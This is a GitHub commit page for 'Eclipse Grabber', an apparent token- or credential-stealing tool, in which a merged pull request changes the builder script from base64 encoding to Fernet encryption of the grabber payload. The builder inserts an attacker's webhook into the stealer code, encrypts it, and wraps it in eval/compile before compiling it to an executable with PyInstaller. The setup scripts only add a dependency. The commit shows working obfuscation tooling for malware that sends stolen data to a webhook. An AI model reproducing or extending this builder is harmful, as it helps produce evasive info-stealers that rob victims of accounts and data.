Skip to content
This repository has been archived by the owner on Jun 7, 2022. It is now read-only.

Commit

Permalink
Merge pull request #2 from 3ct0s/dev
Browse files Browse the repository at this point in the history
feat: new encryption method
  • Loading branch information
3ct0s authored Jan 24, 2022
2 parents 9941eaa + 5370fec commit 40e9e52
Show file tree
Hide file tree
Showing 5 changed files with 12 additions and 10 deletions.
15 changes: 9 additions & 6 deletions builder.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from os import remove as delete_file, path
from cryptography.fernet import Fernet
from sys import platform as OS
from base64 import b64encode
from argparse import ArgumentParser, Namespace
from subprocess import run, PIPE

Expand All @@ -17,16 +17,19 @@

ECLIPSE_GRABBER_PATH = path.join("code", "eclipse-grabber.py")

KEY = Fernet.generate_key().decode()

def build(webhook: str, out_file: str):
code_file = open(ECLIPSE_GRABBER_PATH, 'r')
code = code_file.read()
code_file.close()
index = code.find("WEBHOOK")
libs = code[0:index] + "from cryptography.fernet import Fernet\n"
content = code[index:-1].replace("{WEBHOOK}", str(webhook))

libs = code[0:code.find("WEBHOOK")]
content = code.replace("{WEBHOOK}", str(webhook))
encoded = b64encode(content.encode())
eval_code = f"eval(compile(b64decode({encoded}).decode(), '<string>', 'exec'))"

encrypted_content = Fernet(KEY).encrypt(content.encode())
eval_code = f"\ncode = Fernet('{KEY}').decrypt({encrypted_content}).decode();eval(compile(code, '<string>', 'exec'))"

build_file = open(out_file + ".py", 'w')
build_file.write(libs)
Expand All @@ -49,7 +52,7 @@ def build(webhook: str, out_file: str):
command_result = run(compile_command, stdout=PIPE, stderr=PIPE)
result = str(command_result.stderr).replace("b\"", "").replace(r'\n', '\n').replace(r'\r', '\r')
if "completed successfully" not in result:
raise Exception(result.splitlines()[-2])
raise Exception(result) # result.splitlines()[-2]
except Exception as error:
exit(f"\n[-] Build Error: {error}")

Expand Down
1 change: 0 additions & 1 deletion code/eclipse-grabber.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@
from sys import platform as OS
from getpass import getuser
from re import findall
from base64 import b64decode
from json import loads, dumps
from typing import Optional, List
from urllib.request import Request, urlopen
Expand Down
2 changes: 1 addition & 1 deletion setup-files/setup-lin.sh
Original file line number Diff line number Diff line change
Expand Up @@ -15,4 +15,4 @@ else
fi

sudo wine cmd /c python-3.8.9.exe /quiet InstallAllUsers=0
sudo wine "/root/.wine/drive_c/users/root/Local Settings/Application Data/Programs/Python/Python38-32/python.exe" -m pip install pyinstaller==4.6
sudo wine "/root/.wine/drive_c/users/root/Local Settings/Application Data/Programs/Python/Python38-32/python.exe" -m pip install pyinstaller==4.6 cryptography==36.0.1
2 changes: 1 addition & 1 deletion setup-files/setup-mac.sh
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew install python3
sudo pip3 install pyinstaller==4.6
sudo pip3 install pyinstaller==4.6 cryptography==36.0.1
2 changes: 1 addition & 1 deletion setup-files/setup-win.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -13,4 +13,4 @@ if (-not(Test-Path -Path $pythonDownloadPath -PathType Leaf)) {

& $pythonDownloadPath /quiet InstallAllUsers=0 TargetDir=$pythonInstallDir | Out-Null
& "$pythonInstallDir\python.exe" -m venv venv
& "$(Get-Location)\venv\Scripts\python.exe" -m pip install pyinstaller==4.6
& "$(Get-Location)\venv\Scripts\python.exe" -m pip install pyinstaller==4.6 cryptography==36.0.1

0 comments on commit 40e9e52

Please sign in to comment.